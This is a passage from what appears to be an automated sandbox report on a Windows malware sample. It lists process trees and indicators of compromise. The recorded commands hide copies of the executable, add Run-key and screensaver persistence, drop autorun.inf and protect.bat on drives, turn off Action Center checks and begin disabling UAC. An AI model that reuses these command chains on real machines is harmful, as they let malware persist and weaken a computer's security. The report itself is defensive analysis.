2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
940	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
860	iexplore.exe
860	iexplore.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
860	iexplore.exe
860	iexplore.exe
2060	IEXPLORE.EXE
2060	IEXPLORE.EXE
2060	IEXPLORE.EXE
2060	IEXPLORE.EXE
860	iexplore.exe
860	iexplore.exe
2768	IEXPLORE.EXE
2768	IEXPLORE.EXE
2768	IEXPLORE.EXE
2768	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 2576	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	30
PID 2552 wrote to memory of 2576	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	30
PID 2552 wrote to memory of 2576	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	30
PID 2552 wrote to memory of 2576	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	30
PID 2552 wrote to memory of 2440	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	31
PID 2552 wrote to memory of 2440	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	31
PID 2552 wrote to memory of 2440	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	31
PID 2552 wrote to memory of 2440	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	31
PID 2440 wrote to memory of 2244	2440	cmd.exe	34
PID 2440 wrote to memory of 2244	2440	cmd.exe	34
PID 2440 wrote to memory of 2244	2440	cmd.exe	34
PID 2440 wrote to memory of 2244	2440	cmd.exe	34
PID 2576 wrote to memory of 2268	2576	cmd.exe	35
PID 2576 wrote to memory of 2268	2576	cmd.exe	35
PID 2576 wrote to memory of 2268	2576	cmd.exe	35
PID 2576 wrote to memory of 2268	2576	cmd.exe	35
PID 2552 wrote to memory of 2296	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	36
PID 2552 wrote to memory of 2296	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	36
PID 2552 wrote to memory of 2296	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	36
PID 2552 wrote to memory of 2296	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	36
PID 2552 wrote to memory of 592	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	38
PID 2552 wrote to memory of 592	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	38
PID 2552 wrote to memory of 592	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	38
PID 2552 wrote to memory of 592	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	38
PID 2552 wrote to memory of 2776	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	39
PID 2552 wrote to memory of 2776	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	39
PID 2552 wrote to memory of 2776	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	39
PID 2552 wrote to memory of 2776	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	39
PID 2552 wrote to memory of 2764	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	40
PID 2552 wrote to memory of 2764	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	40
PID 2552 wrote to memory of 2764	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	40
PID 2552 wrote to memory of 2764	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	40
PID 2776 wrote to memory of 2924	2776	cmd.exe	44
PID 2776 wrote to memory of 2924	2776	cmd.exe	44
PID 2776 wrote to memory of 2924	2776	cmd.exe	44
PID 2776 wrote to memory of 2924	2776	cmd.exe	44
PID 2764 wrote to memory of 2908	2764	cmd.exe	45
PID 2764 wrote to memory of 2908	2764	cmd.exe	45
PID 2764 wrote to memory of 2908	2764	cmd.exe	45
PID 2764 wrote to memory of 2908	2764	cmd.exe	45
PID 2552 wrote to memory of 332	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	46
PID 2552 wrote to memory of 332	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	46
PID 2552 wrote to memory of 332	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	46
PID 2552 wrote to memory of 332	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	46
PID 2552 wrote to memory of 2956	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	48
PID 2552 wrote to memory of 2956	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	48
PID 2552 wrote to memory of 2956	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	48
PID 2552 wrote to memory of 2956	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	48
PID 2552 wrote to memory of 2232	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	49
PID 2552 wrote to memory of 2232	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	49
PID 2552 wrote to memory of 2232	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	49
PID 2552 wrote to memory of 2232	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	49
PID 2552 wrote to memory of 2976	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	50
PID 2552 wrote to memory of 2976	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	50
PID 2552 wrote to memory of 2976	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	50
PID 2552 wrote to memory of 2976	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	50
PID 332 wrote to memory of 2900	332	cmd.exe	52
PID 332 wrote to memory of 2900	332	cmd.exe	52
PID 332 wrote to memory of 2900	332	cmd.exe	52
PID 332 wrote to memory of 2900	332	cmd.exe	52
PID 2552 wrote to memory of 3000	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	53
PID 2552 wrote to memory of 3000	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	53
PID 2552 wrote to memory of 3000	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	53
PID 2552 wrote to memory of 3000	2552	ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe	53

Views/modifies file attributes 1 TTPs 20 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2244	attrib.exe
2568	attrib.exe
1548	attrib.exe
1624	attrib.exe
884	attrib.exe
2884	attrib.exe
1004	attrib.exe
2368	attrib.exe
1376	attrib.exe
1648	attrib.exe
988	attrib.exe
1856	attrib.exe
920	attrib.exe
2372	attrib.exe
2268	attrib.exe
2492	attrib.exe
2472	attrib.exe
1572	attrib.exe
2424	attrib.exe
1808	attrib.exe

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
PID:1076

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
PID:1136

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2032

C:\Users\Admin\AppData\Local\Temp\ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "%appdata%\daemon.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -R -H "C:\Users\Admin\AppData\Roaming\daemon.exe"
    3⤵
    - Views/modifies file attributes
    PID:2268
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "%windir%\system32sysrunc.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2440
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -R -H "C:\Windows\system32sysrunc.exe"
    3⤵
    - Views/modifies file attributes
    PID:2244
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rename "%appdata%\daemon.exe" "trash1.dat"
  2⤵
  PID:2296
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rename "%windir%\system32\sysrunc.exe" "trash2.dat"
  2⤵
  PID:592
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\SysWOW64\reg.exe
    reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2924
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\SysWOW64\reg.exe
    reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2908
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\plugininstall.bat"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:332
- - C:\Windows\SysWOW64\sc.exe
    sc config upnphost start= auto
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2900
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software" /v "crc32" /t REG_SZ /d "jnpwnGGW" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2956
- - C:\Windows\SysWOW64\reg.exe
    reg ADD "HKCU\software" /v "crc32" /t REG_SZ /d "jnpwnGGW" /f
    3⤵
    PID:1760
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "%appdata%\trash1.dat"
  2⤵
  PID:2232
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "%windir%\system32\trash2.dat"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2976
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del /s /f "%appdata%\trash1.dat"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3000
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del /s /f "%windir%\system32\trash2.dat"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2800
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\daemon.exe"
  2⤵
  PID:2096
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -H -S "C:\Users\Admin\AppData\Roaming\daemon.exe"
    3⤵
    - Views/modifies file attributes
    PID:1376
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe" "%appdata%\daemon.exe"
  2⤵
  PID:1552
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\daemon.exe"
  2⤵
  PID:2356
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H +S "C:\Users\Admin\AppData\Roaming\daemon.exe"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2568
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "daemon" /t REG_SZ /d "%appdata%\daemon.exe" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2364
- - C:\Windows\SysWOW64\reg.exe
    reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "daemon" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\daemon.exe" /f
    3⤵
    - Adds Run key to start application
    PID:2088
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%windir%\system32\sysrunc.exe"
  2⤵
  PID:2308
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -H -S "C:\Windows\system32\sysrunc.exe"
    3⤵
    - Views/modifies file attributes
    PID:1648
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe" "%windir%\system32\sysrunc.exe"
  2⤵
  - Drops file in System32 directory
  PID:2144
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%windir%\system32\sysrunc.exe"
  2⤵
  PID:1560
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H +S "C:\Windows\system32\sysrunc.exe"
    3⤵
    - Sets file to hidden
    - Drops file in System32 directory
    - Views/modifies file attributes
    PID:988
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\software\microsoft\windows\currentversion\run" /v "sysrunc" /t REG_SZ /d "%windir%\system32\sysrunc.exe" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2524
- - C:\Windows\SysWOW64\reg.exe
    reg ADD "HKLM\software\microsoft\windows\currentversion\run" /v "sysrunc" /t REG_SZ /d "C:\Windows\system32\sysrunc.exe" /f
    3⤵
    - Adds Run key to start application
    PID:620
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c md %appdata%\Microsoft\Windows
  2⤵
  PID:424
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\Microsoft\Windows\3dtext.scr"
  2⤵
  PID:1932
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -H -S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\3dtext.scr"
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:1856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe" "%appdata%\Microsoft\Windows\3dtext.scr"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\Microsoft\Windows\3dtext.scr"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1696
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\3dtext.scr"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:920
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\3dtext.scr" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1656
- - C:\Windows\SysWOW64\reg.exe
    reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\3dtext.scr" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1708
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
  2⤵
  PID:1092
- - C:\Windows\SysWOW64\reg.exe
    reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:916
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1636
- - C:\Windows\SysWOW64\reg.exe
    reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
    3⤵
    PID:1468
- C:\Users\Admin\AppData\Local\Temp\ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe"
  2⤵
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops autorun.inf file
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Modifies Control Panel
  - Suspicious behavior: EnumeratesProcesses
  PID:940
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c del "%appdata%\trash1.dat"
    3⤵
    PID:708
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c del "%windir%\system32\trash2.dat"
    3⤵
    PID:2508
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c del /s /f "%appdata%\trash1.dat"
    3⤵
    PID:2248
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c del /s /f "%windir%\system32\trash2.dat"
    3⤵
    PID:2380
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\autorun.inf"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2380
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "C:\autorun.inf"
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Views/modifies file attributes
      PID:1624
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\autorun.inf"
    3⤵
    PID:2556
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "F:\autorun.inf"
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Views/modifies file attributes
      PID:2492
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\daemon.exe"
    3⤵
    PID:1784
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Users\Admin\AppData\Roaming\daemon.exe"
      4⤵
      Views/modifies file attributes
      PID:2472
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H "C:\protect.bat"
    3⤵
    PID:2968
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H "C:\protect.bat"
      4⤵
      Views/modifies file attributes
      PID:884
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H "F:\protect.bat"
    3⤵
    PID:2908
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H "F:\protect.bat"
      4⤵
      Views/modifies file attributes
      PID:1572
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe" "%appdata%\daemon.exe"
    3⤵
    PID:1720
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\daemon.exe" "C:\protect.bat"
    3⤵
    PID:2664
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\daemon.exe" "F:\protect.bat"
    3⤵
    PID:2000
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\daemon.exe"
    3⤵
    PID:1928
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Users\Admin\AppData\Roaming\daemon.exe"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:2884
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "daemon" /t REG_SZ /d "%appdata%\daemon.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3008
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "daemon" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\daemon.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:3032
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%windir%\system32\sysrunc.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2764
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Windows\system32\sysrunc.exe"
      4⤵
      Drops file in System32 directory
      Views/modifies file attributes
      PID:2424
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\protect.bat"
    3⤵
    PID:840
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "C:\protect.bat"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1548
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\protect.bat"
    3⤵
    PID:2264
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "F:\protect.bat"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:1808
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe" "%windir%\system32\sysrunc.exe"
    3⤵
    - Drops file in System32 directory
    PID:1672
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%windir%\system32\sysrunc.exe"
    3⤵
    PID:2996
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Windows\system32\sysrunc.exe"
      4⤵
      Sets file to hidden
      Drops file in System32 directory
      Views/modifies file attributes
      PID:1004
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\software\microsoft\windows\currentversion\run" /v "sysrunc" /t REG_SZ /d "%windir%\system32\sysrunc.exe" /f
    3⤵
    PID:2340
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\software\microsoft\windows\currentversion\run" /v "sysrunc" /t REG_SZ /d "C:\Windows\system32\sysrunc.exe" /f
      4⤵
      Adds Run key to start application
      PID:2696
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c md %appdata%\Microsoft\Windows
    3⤵
    PID:3004
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\Microsoft\Windows\3dtext.scr"
    3⤵
    PID:296
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\3dtext.scr"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2368
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\ef1d48e8226e491133525df0e4d44dea_JaffaCakes118.exe" "%appdata%\Microsoft\Windows\3dtext.scr"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2852
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\Microsoft\Windows\3dtext.scr"
    3⤵
    PID:2100
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\3dtext.scr"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2372
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\3dtext.scr" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2496
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\3dtext.scr" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1888
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2056
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:620
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1924
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
      4⤵
      PID:2808
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
    3⤵
    PID:880
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
    3⤵
    PID:2836
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2312
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
    3⤵
    PID:1248
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
      4⤵
      PID:1220
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    PID:1540
  - - C:\Windows\SysWOW64\reg.exe
